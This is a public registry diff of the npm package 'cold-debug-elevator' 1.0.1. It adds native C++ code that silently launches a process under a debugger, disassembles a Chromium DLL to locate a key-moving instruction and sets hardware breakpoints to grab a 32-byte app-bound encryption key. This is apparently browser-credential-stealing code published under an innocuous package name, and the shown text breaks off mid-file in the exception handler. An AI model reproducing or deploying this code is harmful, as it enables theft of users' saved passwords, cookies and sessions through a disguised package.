cold-debug-elevator 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +16 -0
- package/binding.gyp +40 -0
- package/index.js +7 -0
- package/package.json +13 -0
- package/src/BrowserExport.cpp +760 -0
- package/src/BrowserExport.hpp +22 -0
- package/src/DebugChromium.cpp +994 -0
- package/src/Utils.hpp +151 -0
- package/src/main.cpp +31 -0
|
@@ -0,0 +1,994 @@
|
|
|
1
|
+
#define WIN32_LEAN_AND_MEAN
|
|
2
|
+
#include <windows.h>
|
|
3
|
+
#include <Zydis/Zydis.h>
|
|
4
|
+
#include <iostream>
|
|
5
|
+
#include <string>
|
|
6
|
+
#include <optional>
|
|
7
|
+
#include <cstdint>
|
|
8
|
+
#include <cstring>
|
|
9
|
+
#include <vector>
|
|
10
|
+
#include <array>
|
|
11
|
+
#include <unordered_map>
|
|
12
|
+
#include <tlhelp32.h>
|
|
13
|
+
#include <filesystem>
|
|
14
|
+
#include "Utils.hpp"
|
|
15
|
+
#include "BrowserExport.hpp"
|
|
16
|
+
|
|
17
|
+
#define DEBUG_LOOP_TIMEOUT 90000
|
|
18
|
+
#define APPBOUND_KEY_SIZE 32
|
|
19
|
+
|
|
20
|
+
namespace fs = std::filesystem;
|
|
21
|
+
|
|
22
|
+
static constexpr DWORD64 EFLAGS_TF = 1ull << 8; // Trap Flag
|
|
23
|
+
static constexpr DWORD64 EFLAGS_RF = 1ull << 16; // Resume Flag
|
|
24
|
+
|
|
25
|
+
bool ReadThreadContext(HANDLE hThread, CONTEXT& ctx)
|
|
26
|
+
{
|
|
27
|
+
if (!hThread)
|
|
28
|
+
return false;
|
|
29
|
+
|
|
30
|
+
ctx = { 0 };
|
|
31
|
+
ctx.ContextFlags = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_DEBUG_REGISTERS;
|
|
32
|
+
|
|
33
|
+
BOOL ok = GetThreadContext(hThread, &ctx);
|
|
34
|
+
return ok == TRUE;
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
bool WriteThreadContext(HANDLE hThread, CONTEXT& ctx)
|
|
38
|
+
{
|
|
39
|
+
if (!hThread)
|
|
40
|
+
return false;
|
|
41
|
+
|
|
42
|
+
BOOL ok = SetThreadContext(hThread, &ctx);
|
|
43
|
+
return ok == TRUE;
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
struct BreakpointInformation
|
|
47
|
+
{
|
|
48
|
+
uintptr_t address;
|
|
49
|
+
HANDLE hThread;
|
|
50
|
+
DWORD tid;
|
|
51
|
+
};
|
|
52
|
+
|
|
53
|
+
struct DebugModuleInfo
|
|
54
|
+
{
|
|
55
|
+
uintptr_t base;
|
|
56
|
+
SIZE_T size;
|
|
57
|
+
std::unordered_map<DWORD, BreakpointInformation> breakpoints;
|
|
58
|
+
};
|
|
59
|
+
|
|
60
|
+
struct PESection
|
|
61
|
+
{
|
|
62
|
+
uintptr_t Address; // Runtime memory address: base + RVA
|
|
63
|
+
DWORD Rva; // Offset from module base
|
|
64
|
+
DWORD Size; // Virtual size in memory
|
|
65
|
+
const char* Name;
|
|
66
|
+
};
|
|
67
|
+
|
|
68
|
+
struct MemoryMatch
|
|
69
|
+
{
|
|
70
|
+
uintptr_t Address; // Absolute memory address of the match
|
|
71
|
+
DWORD OffsetInSection; // Offset from section start
|
|
72
|
+
};
|
|
73
|
+
|
|
74
|
+
struct XrefInfo
|
|
75
|
+
{
|
|
76
|
+
uintptr_t InstructionAddress; // Runtime VA in debuggee process
|
|
77
|
+
DWORD InstructionRva; // Offset from module base, useful in IDA/Ghidra
|
|
78
|
+
DWORD OffsetInText; // Offset from .text section start
|
|
79
|
+
uintptr_t ReferencedAddress; // Runtime VA of referenced target
|
|
80
|
+
char InstructionText[256];
|
|
81
|
+
};
|
|
82
|
+
|
|
83
|
+
struct KeyMovInsnResult
|
|
84
|
+
{
|
|
85
|
+
void* movInstruction; // remote address of: mov <reg>, r14/r15
|
|
86
|
+
SIZE_T movInstructionSize;
|
|
87
|
+
|
|
88
|
+
ZydisRegister movDstReg;
|
|
89
|
+
ZydisRegister movSrcReg; // R14 or R15
|
|
90
|
+
};
|
|
91
|
+
|
|
92
|
+
struct SimpleOperand
|
|
93
|
+
{
|
|
94
|
+
ZydisOperandType type;
|
|
95
|
+
ZydisOperandActions actions;
|
|
96
|
+
ZydisRegister reg;
|
|
97
|
+
|
|
98
|
+
bool isSrc;
|
|
99
|
+
bool isDst;
|
|
100
|
+
};
|
|
101
|
+
|
|
102
|
+
struct SimpleInstruction
|
|
103
|
+
{
|
|
104
|
+
ZydisMnemonic mnemonic;
|
|
105
|
+
uint8_t length;
|
|
106
|
+
uint8_t operandCount;
|
|
107
|
+
|
|
108
|
+
SimpleOperand operands[ZYDIS_MAX_OPERAND_COUNT];
|
|
109
|
+
};
|
|
110
|
+
|
|
111
|
+
bool DecodeRemoteInstruction(
|
|
112
|
+
HANDLE hProcess,
|
|
113
|
+
void* remoteAddress,
|
|
114
|
+
SimpleInstruction* out
|
|
115
|
+
)
|
|
116
|
+
{
|
|
117
|
+
if (!hProcess || !remoteAddress || !out)
|
|
118
|
+
return false;
|
|
119
|
+
|
|
120
|
+
*out = {};
|
|
121
|
+
|
|
122
|
+
uint8_t bytes[ZYDIS_MAX_INSTRUCTION_LENGTH] = {};
|
|
123
|
+
SIZE_T bytesRead = 0;
|
|
124
|
+
|
|
125
|
+
if (!ReadProcessMemory(
|
|
126
|
+
hProcess,
|
|
127
|
+
remoteAddress,
|
|
128
|
+
bytes,
|
|
129
|
+
sizeof(bytes),
|
|
130
|
+
&bytesRead
|
|
131
|
+
))
|
|
132
|
+
{
|
|
133
|
+
return false;
|
|
134
|
+
}
|
|
135
|
+
|
|
136
|
+
ZydisDecoder decoder;
|
|
137
|
+
|
|
138
|
+
if (!ZYAN_SUCCESS(ZydisDecoderInit(
|
|
139
|
+
&decoder,
|
|
140
|
+
ZYDIS_MACHINE_MODE_LONG_64,
|
|
141
|
+
ZYDIS_STACK_WIDTH_64
|
|
142
|
+
)))
|
|
143
|
+
{
|
|
144
|
+
return false;
|
|
145
|
+
}
|
|
146
|
+
|
|
147
|
+
ZydisDecodedInstruction instruction = {};
|
|
148
|
+
ZydisDecodedOperand operands[ZYDIS_MAX_OPERAND_COUNT] = {};
|
|
149
|
+
|
|
150
|
+
if (!ZYAN_SUCCESS(ZydisDecoderDecodeFull(
|
|
151
|
+
&decoder,
|
|
152
|
+
bytes,
|
|
153
|
+
bytesRead,
|
|
154
|
+
&instruction,
|
|
155
|
+
operands
|
|
156
|
+
)))
|
|
157
|
+
{
|
|
158
|
+
return false;
|
|
159
|
+
}
|
|
160
|
+
|
|
161
|
+
out->mnemonic = instruction.mnemonic;
|
|
162
|
+
out->length = instruction.length;
|
|
163
|
+
out->operandCount = instruction.operand_count_visible;
|
|
164
|
+
|
|
165
|
+
for (uint8_t i = 0; i < instruction.operand_count_visible; i++)
|
|
166
|
+
{
|
|
167
|
+
out->operands[i].type = operands[i].type;
|
|
168
|
+
out->operands[i].actions = operands[i].actions;
|
|
169
|
+
|
|
170
|
+
out->operands[i].isSrc =
|
|
171
|
+
(operands[i].actions & ZYDIS_OPERAND_ACTION_READ) != 0;
|
|
172
|
+
|
|
173
|
+
out->operands[i].isDst =
|
|
174
|
+
(operands[i].actions & ZYDIS_OPERAND_ACTION_WRITE) != 0;
|
|
175
|
+
|
|
176
|
+
if (operands[i].type == ZYDIS_OPERAND_TYPE_REGISTER)
|
|
177
|
+
out->operands[i].reg = operands[i].reg.value;
|
|
178
|
+
else
|
|
179
|
+
out->operands[i].reg = ZYDIS_REGISTER_NONE;
|
|
180
|
+
}
|
|
181
|
+
|
|
182
|
+
return true;
|
|
183
|
+
}
|
|
184
|
+
|
|
185
|
+
static bool IsMovRegFromR14OrR15(
|
|
186
|
+
const ZydisDecodedInstruction& instruction,
|
|
187
|
+
const ZydisDecodedOperand* operands
|
|
188
|
+
)
|
|
189
|
+
{
|
|
190
|
+
if (instruction.mnemonic != ZYDIS_MNEMONIC_MOV)
|
|
191
|
+
return false;
|
|
192
|
+
|
|
193
|
+
if (instruction.operand_count < 2)
|
|
194
|
+
return false;
|
|
195
|
+
|
|
196
|
+
if (operands[0].type != ZYDIS_OPERAND_TYPE_REGISTER)
|
|
197
|
+
return false;
|
|
198
|
+
|
|
199
|
+
if (operands[1].type != ZYDIS_OPERAND_TYPE_REGISTER)
|
|
200
|
+
return false;
|
|
201
|
+
|
|
202
|
+
ZydisRegister src = operands[1].reg.value;
|
|
203
|
+
|
|
204
|
+
if (src != ZYDIS_REGISTER_R14 && src != ZYDIS_REGISTER_R15)
|
|
205
|
+
return false;
|
|
206
|
+
|
|
207
|
+
return true;
|
|
208
|
+
}
|
|
209
|
+
|
|
210
|
+
static bool IsAddressInsideRange(
|
|
211
|
+
uintptr_t address,
|
|
212
|
+
uintptr_t base,
|
|
213
|
+
SIZE_T size
|
|
214
|
+
)
|
|
215
|
+
{
|
|
216
|
+
if (!base || !size)
|
|
217
|
+
return false;
|
|
218
|
+
|
|
219
|
+
const uintptr_t end = base + size;
|
|
220
|
+
|
|
221
|
+
if (end <= base)
|
|
222
|
+
return false;
|
|
223
|
+
|
|
224
|
+
return address >= base && address < end;
|
|
225
|
+
}
|
|
226
|
+
|
|
227
|
+
bool FindChromiumMovKeyInstruction(
|
|
228
|
+
const PESection& textSection,
|
|
229
|
+
void* mappedTargetInstruction,
|
|
230
|
+
KeyMovInsnResult* result,
|
|
231
|
+
SIZE_T maxInstructionsUntilJns = 64,
|
|
232
|
+
SIZE_T maxInstructionsInJnsTarget = 64
|
|
233
|
+
)
|
|
234
|
+
{
|
|
235
|
+
if (!result)
|
|
236
|
+
return false;
|
|
237
|
+
|
|
238
|
+
*result = {};
|
|
239
|
+
|
|
240
|
+
if (!textSection.Address || !textSection.Size || !mappedTargetInstruction)
|
|
241
|
+
return false;
|
|
242
|
+
|
|
243
|
+
const uintptr_t textBase = textSection.Address;
|
|
244
|
+
const SIZE_T textSize = static_cast<SIZE_T>(textSection.Size);
|
|
245
|
+
const uintptr_t textEnd = textBase + textSize;
|
|
246
|
+
const uintptr_t target = reinterpret_cast<uintptr_t>(mappedTargetInstruction);
|
|
247
|
+
|
|
248
|
+
if (textEnd <= textBase)
|
|
249
|
+
return false;
|
|
250
|
+
|
|
251
|
+
if (!IsAddressInsideRange(target, textBase, textSize))
|
|
252
|
+
return false;
|
|
253
|
+
|
|
254
|
+
const auto* text = reinterpret_cast<const uint8_t*>(textBase);
|
|
255
|
+
SIZE_T offset = static_cast<SIZE_T>(target - textBase);
|
|
256
|
+
|
|
257
|
+
ZydisDecoder decoder = {};
|
|
258
|
+
|
|
259
|
+
if (!ZYAN_SUCCESS(ZydisDecoderInit(
|
|
260
|
+
&decoder,
|
|
261
|
+
ZYDIS_MACHINE_MODE_LONG_64,
|
|
262
|
+
ZYDIS_STACK_WIDTH_64)))
|
|
263
|
+
{
|
|
264
|
+
return false;
|
|
265
|
+
}
|
|
266
|
+
|
|
267
|
+
bool foundJns = false;
|
|
268
|
+
SIZE_T jnsTargetOffset = 0;
|
|
269
|
+
|
|
270
|
+
for (SIZE_T decoded = 0;
|
|
271
|
+
offset < textSize && decoded < maxInstructionsUntilJns;
|
|
272
|
+
++decoded)
|
|
273
|
+
{
|
|
274
|
+
ZydisDecodedInstruction instruction = {};
|
|
275
|
+
ZydisDecodedOperand operands[ZYDIS_MAX_OPERAND_COUNT] = {};
|
|
276
|
+
|
|
277
|
+
const ZyanStatus status = ZydisDecoderDecodeFull(
|
|
278
|
+
&decoder,
|
|
279
|
+
text + offset,
|
|
280
|
+
textSize - offset,
|
|
281
|
+
&instruction,
|
|
282
|
+
operands
|
|
283
|
+
);
|
|
284
|
+
|
|
285
|
+
if (!ZYAN_SUCCESS(status))
|
|
286
|
+
return false;
|
|
287
|
+
|
|
288
|
+
if (instruction.length == 0)
|
|
289
|
+
return false;
|
|
290
|
+
|
|
291
|
+
const uintptr_t instructionAddress = textBase + offset;
|
|
292
|
+
|
|
293
|
+
if (instruction.mnemonic == ZYDIS_MNEMONIC_JNS)
|
|
294
|
+
{
|
|
295
|
+
if (instruction.operand_count < 1)
|
|
296
|
+
return false;
|
|
297
|
+
|
|
298
|
+
const ZydisDecodedOperand& branchOperand = operands[0];
|
|
299
|
+
|
|
300
|
+
if (branchOperand.type != ZYDIS_OPERAND_TYPE_IMMEDIATE)
|
|
301
|
+
return false;
|
|
302
|
+
|
|
303
|
+
if (!branchOperand.imm.is_relative)
|
|
304
|
+
return false;
|
|
305
|
+
|
|
306
|
+
ZyanU64 absoluteTarget = 0;
|
|
307
|
+
|
|
308
|
+
if (!ZYAN_SUCCESS(ZydisCalcAbsoluteAddress(
|
|
309
|
+
&instruction,
|
|
310
|
+
&branchOperand,
|
|
311
|
+
static_cast<ZyanU64>(instructionAddress),
|
|
312
|
+
&absoluteTarget)))
|
|
313
|
+
{
|
|
314
|
+
return false;
|
|
315
|
+
}
|
|
316
|
+
|
|
317
|
+
const uintptr_t jnsTarget = static_cast<uintptr_t>(absoluteTarget);
|
|
318
|
+
|
|
319
|
+
if (!IsAddressInsideRange(jnsTarget, textBase, textSize))
|
|
320
|
+
return false;
|
|
321
|
+
|
|
322
|
+
jnsTargetOffset = static_cast<SIZE_T>(jnsTarget - textBase);
|
|
323
|
+
foundJns = true;
|
|
324
|
+
break;
|
|
325
|
+
}
|
|
326
|
+
|
|
327
|
+
offset += instruction.length;
|
|
328
|
+
}
|
|
329
|
+
|
|
330
|
+
if (!foundJns)
|
|
331
|
+
return false;
|
|
332
|
+
|
|
333
|
+
offset = jnsTargetOffset;
|
|
334
|
+
|
|
335
|
+
for (SIZE_T decoded = 0;
|
|
336
|
+
offset < textSize && decoded < maxInstructionsInJnsTarget;
|
|
337
|
+
++decoded)
|
|
338
|
+
{
|
|
339
|
+
ZydisDecodedInstruction instruction = {};
|
|
340
|
+
ZydisDecodedOperand operands[ZYDIS_MAX_OPERAND_COUNT] = {};
|
|
341
|
+
|
|
342
|
+
const ZyanStatus status = ZydisDecoderDecodeFull(
|
|
343
|
+
&decoder,
|
|
344
|
+
text + offset,
|
|
345
|
+
textSize - offset,
|
|
346
|
+
&instruction,
|
|
347
|
+
operands
|
|
348
|
+
);
|
|
349
|
+
|
|
350
|
+
if (!ZYAN_SUCCESS(status))
|
|
351
|
+
return false;
|
|
352
|
+
|
|
353
|
+
if (instruction.length == 0)
|
|
354
|
+
return false;
|
|
355
|
+
|
|
356
|
+
if (IsMovRegFromR14OrR15(instruction, operands))
|
|
357
|
+
{
|
|
358
|
+
result->movInstruction = reinterpret_cast<void*>(textBase + offset);
|
|
359
|
+
result->movInstructionSize = instruction.length;
|
|
360
|
+
result->movDstReg = operands[0].reg.value;
|
|
361
|
+
result->movSrcReg = operands[1].reg.value;
|
|
362
|
+
|
|
363
|
+
return true;
|
|
364
|
+
}
|
|
365
|
+
|
|
366
|
+
offset += instruction.length;
|
|
367
|
+
}
|
|
368
|
+
|
|
369
|
+
return false;
|
|
370
|
+
}
|
|
371
|
+
|
|
372
|
+
bool SetHardwareExecuteBreakpoint(HANDLE hThread, uintptr_t address, int slot)
|
|
373
|
+
{
|
|
374
|
+
if (!hThread || hThread == INVALID_HANDLE_VALUE)
|
|
375
|
+
return false;
|
|
376
|
+
|
|
377
|
+
if (slot < 0 || slot > 3)
|
|
378
|
+
return false;
|
|
379
|
+
|
|
380
|
+
CONTEXT ctx = {};
|
|
381
|
+
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
|
382
|
+
|
|
383
|
+
if (!GetThreadContext(hThread, &ctx))
|
|
384
|
+
return false;
|
|
385
|
+
|
|
386
|
+
switch (slot)
|
|
387
|
+
{
|
|
388
|
+
case 0:
|
|
389
|
+
ctx.Dr0 = address;
|
|
390
|
+
break;
|
|
391
|
+
case 1:
|
|
392
|
+
ctx.Dr1 = address;
|
|
393
|
+
break;
|
|
394
|
+
case 2:
|
|
395
|
+
ctx.Dr2 = address;
|
|
396
|
+
break;
|
|
397
|
+
case 3:
|
|
398
|
+
ctx.Dr3 = address;
|
|
399
|
+
break;
|
|
400
|
+
}
|
|
401
|
+
|
|
402
|
+
const uint64_t enableBit = 1ull << (slot * 2);
|
|
403
|
+
const uint64_t controlMask = 0xFull << (16 + slot * 4);
|
|
404
|
+
|
|
405
|
+
ctx.Dr7 &= ~enableBit;
|
|
406
|
+
ctx.Dr7 &= ~controlMask;
|
|
407
|
+
|
|
408
|
+
ctx.Dr7 |= enableBit; // local enable
|
|
409
|
+
ctx.Dr6 = 0;
|
|
410
|
+
|
|
411
|
+
return SetThreadContext(hThread, &ctx);
|
|
412
|
+
}
|
|
413
|
+
|
|
414
|
+
static bool ReadRemoteSection(
|
|
415
|
+
HANDLE hProcess,
|
|
416
|
+
const PESection& section,
|
|
417
|
+
std::vector<uint8_t>& outBytes
|
|
418
|
+
)
|
|
419
|
+
{
|
|
420
|
+
outBytes.clear();
|
|
421
|
+
|
|
422
|
+
if (!hProcess || hProcess == INVALID_HANDLE_VALUE)
|
|
423
|
+
return false;
|
|
424
|
+
|
|
425
|
+
if (!section.Address || !section.Size)
|
|
426
|
+
return false;
|
|
427
|
+
|
|
428
|
+
outBytes.resize(section.Size);
|
|
429
|
+
|
|
430
|
+
SIZE_T bytesRead = 0;
|
|
431
|
+
|
|
432
|
+
if (!ReadProcessMemory(
|
|
433
|
+
hProcess,
|
|
434
|
+
reinterpret_cast<LPCVOID>(section.Address),
|
|
435
|
+
outBytes.data(),
|
|
436
|
+
outBytes.size(),
|
|
437
|
+
&bytesRead
|
|
438
|
+
))
|
|
439
|
+
{
|
|
440
|
+
outBytes.clear();
|
|
441
|
+
return false;
|
|
442
|
+
}
|
|
443
|
+
|
|
444
|
+
if (bytesRead != outBytes.size())
|
|
445
|
+
{
|
|
446
|
+
outBytes.resize(bytesRead);
|
|
447
|
+
}
|
|
448
|
+
|
|
449
|
+
return !outBytes.empty();
|
|
450
|
+
}
|
|
451
|
+
|
|
452
|
+
bool GetRemoteModuleSize(
|
|
453
|
+
HANDLE hProcess,
|
|
454
|
+
void* remoteModuleBase,
|
|
455
|
+
SIZE_T* outSize
|
|
456
|
+
)
|
|
457
|
+
{
|
|
458
|
+
if (!hProcess || !remoteModuleBase || !outSize)
|
|
459
|
+
return false;
|
|
460
|
+
|
|
461
|
+
*outSize = 0;
|
|
462
|
+
|
|
463
|
+
SIZE_T read = 0;
|
|
464
|
+
|
|
465
|
+
IMAGE_DOS_HEADER dos = {};
|
|
466
|
+
|
|
467
|
+
if (!ReadProcessMemory(
|
|
468
|
+
hProcess,
|
|
469
|
+
remoteModuleBase,
|
|
470
|
+
&dos,
|
|
471
|
+
sizeof(dos),
|
|
472
|
+
&read
|
|
473
|
+
) || read != sizeof(dos))
|
|
474
|
+
{
|
|
475
|
+
return false;
|
|
476
|
+
}
|
|
477
|
+
|
|
478
|
+
if (dos.e_magic != IMAGE_DOS_SIGNATURE) // "MZ"
|
|
479
|
+
return false;
|
|
480
|
+
|
|
481
|
+
uintptr_t ntHeadersAddress =
|
|
482
|
+
reinterpret_cast<uintptr_t>(remoteModuleBase) + dos.e_lfanew;
|
|
483
|
+
|
|
484
|
+
DWORD ntSignature = 0;
|
|
485
|
+
|
|
486
|
+
if (!ReadProcessMemory(
|
|
487
|
+
hProcess,
|
|
488
|
+
reinterpret_cast<void*>(ntHeadersAddress),
|
|
489
|
+
&ntSignature,
|
|
490
|
+
sizeof(ntSignature),
|
|
491
|
+
&read
|
|
492
|
+
) || read != sizeof(ntSignature))
|
|
493
|
+
{
|
|
494
|
+
return false;
|
|
495
|
+
}
|
|
496
|
+
|
|
497
|
+
if (ntSignature != IMAGE_NT_SIGNATURE) // "PE\0\0"
|
|
498
|
+
return false;
|
|
499
|
+
|
|
500
|
+
IMAGE_FILE_HEADER fileHeader = {};
|
|
501
|
+
|
|
502
|
+
if (!ReadProcessMemory(
|
|
503
|
+
hProcess,
|
|
504
|
+
reinterpret_cast<void*>(ntHeadersAddress + sizeof(DWORD)),
|
|
505
|
+
&fileHeader,
|
|
506
|
+
sizeof(fileHeader),
|
|
507
|
+
&read
|
|
508
|
+
) || read != sizeof(fileHeader))
|
|
509
|
+
{
|
|
510
|
+
return false;
|
|
511
|
+
}
|
|
512
|
+
|
|
513
|
+
uintptr_t optionalHeaderAddress =
|
|
514
|
+
ntHeadersAddress + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER);
|
|
515
|
+
|
|
516
|
+
WORD optionalMagic = 0;
|
|
517
|
+
|
|
518
|
+
if (!ReadProcessMemory(
|
|
519
|
+
hProcess,
|
|
520
|
+
reinterpret_cast<void*>(optionalHeaderAddress),
|
|
521
|
+
&optionalMagic,
|
|
522
|
+
sizeof(optionalMagic),
|
|
523
|
+
&read
|
|
524
|
+
) || read != sizeof(optionalMagic))
|
|
525
|
+
{
|
|
526
|
+
return false;
|
|
527
|
+
}
|
|
528
|
+
|
|
529
|
+
if (optionalMagic == IMAGE_NT_OPTIONAL_HDR64_MAGIC)
|
|
530
|
+
{
|
|
531
|
+
IMAGE_NT_HEADERS64 nt64 = {};
|
|
532
|
+
if (!ReadProcessMemory(hProcess, reinterpret_cast<void*>(ntHeadersAddress), &nt64, sizeof(nt64), &read))
|
|
533
|
+
return false;
|
|
534
|
+
*outSize = static_cast<SIZE_T>(nt64.OptionalHeader.SizeOfImage);
|
|
535
|
+
return true;
|
|
536
|
+
}
|
|
537
|
+
|
|
538
|
+
if (optionalMagic == IMAGE_NT_OPTIONAL_HDR32_MAGIC)
|
|
539
|
+
{
|
|
540
|
+
IMAGE_NT_HEADERS32 nt32 = {};
|
|
541
|
+
if (!ReadProcessMemory(hProcess, reinterpret_cast<void*>(ntHeadersAddress), &nt32, sizeof(nt32), &read))
|
|
542
|
+
return false;
|
|
543
|
+
*outSize = static_cast<SIZE_T>(nt32.OptionalHeader.SizeOfImage);
|
|
544
|
+
return true;
|
|
545
|
+
}
|
|
546
|
+
|
|
547
|
+
return false;
|
|
548
|
+
}
|
|
549
|
+
|
|
550
|
+
static std::wstring GetBaseName(const std::wstring& path)
|
|
551
|
+
{
|
|
552
|
+
size_t pos = path.find_last_of(L"\\/");
|
|
553
|
+
if (pos == std::wstring::npos)
|
|
554
|
+
return path;
|
|
555
|
+
|
|
556
|
+
return path.substr(pos + 1);
|
|
557
|
+
}
|
|
558
|
+
|
|
559
|
+
static std::wstring StripWin32Prefix(std::wstring path)
|
|
560
|
+
{
|
|
561
|
+
if (path.rfind(LR"(\\?\UNC\)", 0) == 0)
|
|
562
|
+
return L"\\" + path.substr(8);
|
|
563
|
+
|
|
564
|
+
if (path.rfind(LR"(\\?\)", 0) == 0)
|
|
565
|
+
return path.substr(4);
|
|
566
|
+
|
|
567
|
+
return path;
|
|
568
|
+
}
|
|
569
|
+
|
|
570
|
+
static std::wstring GetPathFromHandle(HANDLE hFile)
|
|
571
|
+
{
|
|
572
|
+
if (!hFile || hFile == INVALID_HANDLE_VALUE)
|
|
573
|
+
return L"";
|
|
574
|
+
|
|
575
|
+
DWORD size = GetFinalPathNameByHandleW(
|
|
576
|
+
hFile,
|
|
577
|
+
nullptr,
|
|
578
|
+
0,
|
|
579
|
+
FILE_NAME_NORMALIZED | VOLUME_NAME_DOS
|
|
580
|
+
);
|
|
581
|
+
|
|
582
|
+
if (size == 0)
|
|
583
|
+
return L"";
|
|
584
|
+
|
|
585
|
+
std::wstring path(size, L'\0');
|
|
586
|
+
|
|
587
|
+
DWORD written = GetFinalPathNameByHandleW(
|
|
588
|
+
hFile,
|
|
589
|
+
path.data(),
|
|
590
|
+
size,
|
|
591
|
+
FILE_NAME_NORMALIZED | VOLUME_NAME_DOS
|
|
592
|
+
);
|
|
593
|
+
|
|
594
|
+
if (written == 0)
|
|
595
|
+
return L"";
|
|
596
|
+
|
|
597
|
+
path.resize(written);
|
|
598
|
+
return StripWin32Prefix(path);
|
|
599
|
+
}
|
|
600
|
+
|
|
601
|
+
struct DebugArgs
|
|
602
|
+
{
|
|
603
|
+
public:
|
|
604
|
+
std::wstring target;
|
|
605
|
+
std::vector<uint8_t> result;
|
|
606
|
+
uintptr_t breakpointOffset;
|
|
607
|
+
std::wstring targetDll;
|
|
608
|
+
};
|
|
609
|
+
|
|
610
|
+
static DWORD WINAPI DebugLoop(LPVOID param)
|
|
611
|
+
{
|
|
612
|
+
DebugArgs* args = (DebugArgs*)param;
|
|
613
|
+
DEBUG_EVENT de = {};
|
|
614
|
+
|
|
615
|
+
STARTUPINFOW si = {};
|
|
616
|
+
PROCESS_INFORMATION pi = {};
|
|
617
|
+
|
|
618
|
+
si.cb = sizeof(si);
|
|
619
|
+
|
|
620
|
+
DWORD flags =
|
|
621
|
+
DEBUG_ONLY_THIS_PROCESS | // debug only this process, not children
|
|
622
|
+
CREATE_NO_WINDOW;
|
|
623
|
+
|
|
624
|
+
if (!CreateProcessW(
|
|
625
|
+
nullptr,
|
|
626
|
+
args->target.data(),
|
|
627
|
+
nullptr,
|
|
628
|
+
nullptr,
|
|
629
|
+
FALSE,
|
|
630
|
+
flags,
|
|
631
|
+
nullptr,
|
|
632
|
+
nullptr,
|
|
633
|
+
&si,
|
|
634
|
+
&pi
|
|
635
|
+
))
|
|
636
|
+
{
|
|
637
|
+
return 2;
|
|
638
|
+
}
|
|
639
|
+
|
|
640
|
+
bool shouldExitDebugger = false;
|
|
641
|
+
DebugModuleInfo targetDll = { 0 };
|
|
642
|
+
uintptr_t targetBpAddress = 0;
|
|
643
|
+
ZydisRegister srcRegister = ZYDIS_REGISTER_NONE;
|
|
644
|
+
|
|
645
|
+
while (!shouldExitDebugger)
|
|
646
|
+
{
|
|
647
|
+
if (!WaitForDebugEvent(&de, INFINITE))
|
|
648
|
+
break;
|
|
649
|
+
|
|
650
|
+
DWORD continueStatus = DBG_EXCEPTION_NOT_HANDLED;
|
|
651
|
+
|
|
652
|
+
switch (de.dwDebugEventCode)
|
|
653
|
+
{
|
|
654
|
+
case CREATE_PROCESS_DEBUG_EVENT:
|
|
655
|
+
{
|
|
656
|
+
if (de.u.CreateProcessInfo.hFile)
|
|
657
|
+
CloseHandle(de.u.CreateProcessInfo.hFile);
|
|
658
|
+
|
|
659
|
+
continueStatus = DBG_CONTINUE;
|
|
660
|
+
break;
|
|
661
|
+
}
|
|
662
|
+
|
|
663
|
+
case CREATE_THREAD_DEBUG_EVENT:
|
|
664
|
+
{
|
|
665
|
+
HANDLE hThread = de.u.CreateThread.hThread;
|
|
666
|
+
uintptr_t threadStartAddress =
|
|
667
|
+
reinterpret_cast<uintptr_t>(de.u.CreateThread.lpStartAddress);
|
|
668
|
+
|
|
669
|
+
if (targetDll.base < threadStartAddress &&
|
|
670
|
+
(targetDll.base + targetDll.size) > threadStartAddress)
|
|
671
|
+
{
|
|
672
|
+
if (targetBpAddress)
|
|
673
|
+
{
|
|
674
|
+
BreakpointInformation bp = { 0 };
|
|
675
|
+
bp.hThread = hThread;
|
|
676
|
+
bp.tid = de.dwThreadId;
|
|
677
|
+
bp.address = targetBpAddress;
|
|
678
|
+
|
|
679
|
+
bool ok = SetHardwareExecuteBreakpoint(hThread, bp.address, 0);
|
|
680
|
+
|
|
681
|
+
if (ok) {
|
|
682
|
+
targetDll.breakpoints[bp.tid] = bp;
|
|
683
|
+
}
|
|
684
|
+
}
|
|
685
|
+
}
|
|
686
|
+
|
|
687
|
+
continueStatus = DBG_CONTINUE;
|
|
688
|
+
break;
|
|
689
|
+
}
|
|
690
|
+
|
|
691
|
+
case LOAD_DLL_DEBUG_EVENT:
|
|
692
|
+
{
|
|
693
|
+
HANDLE hFile = de.u.LoadDll.hFile;
|
|
694
|
+
void* moduleBase = de.u.LoadDll.lpBaseOfDll;
|
|
695
|
+
|
|
696
|
+
std::wstring dllPath = GetPathFromHandle(hFile);
|
|
697
|
+
std::wstring dllName = GetBaseName(dllPath);
|
|
698
|
+
|
|
699
|
+
if (_wcsicmp(dllName.c_str(), args->targetDll.c_str()) == 0)
|
|
700
|
+
{
|
|
701
|
+
SIZE_T modSize = 0;
|
|
702
|
+
if (GetRemoteModuleSize(pi.hProcess, moduleBase, &modSize))
|
|
703
|
+
{
|
|
704
|
+
targetDll.base = reinterpret_cast<uintptr_t>(moduleBase);
|
|
705
|
+
targetDll.size = modSize;
|
|
706
|
+
|
|
707
|
+
SimpleInstruction insn;
|
|
708
|
+
LPVOID bpAddress = reinterpret_cast<LPVOID>(targetDll.base + args->breakpointOffset);
|
|
709
|
+
if (DecodeRemoteInstruction(pi.hProcess, bpAddress, &insn)) {
|
|
710
|
+
if (insn.mnemonic == ZYDIS_MNEMONIC_MOV &&
|
|
711
|
+
insn.operandCount == 2 &&
|
|
712
|
+
insn.operands[1].isSrc &&
|
|
713
|
+
(insn.operands[1].reg == ZYDIS_REGISTER_R14 || insn.operands[1].reg == ZYDIS_REGISTER_R15)) {
|
|
714
|
+
targetBpAddress = reinterpret_cast<uintptr_t>(bpAddress);
|
|
715
|
+
srcRegister = insn.operands[1].reg;
|
|
716
|
+
continueStatus = DBG_CONTINUE;
|
|
717
|
+
break;
|
|
718
|
+
}
|
|
719
|
+
}
|
|
720
|
+
}
|
|
721
|
+
}
|
|
722
|
+
|
|
723
|
+
if (hFile)
|
|
724
|
+
CloseHandle(hFile);
|
|
725
|
+
|
|
726
|
+
continueStatus = DBG_CONTINUE;
|
|
727
|
+
break;
|
|
728
|
+
}
|
|
729
|
+
|
|
730
|
+
case EXCEPTION_DEBUG_EVENT:
|
|
731
|
+
{
|
|
732
|
+
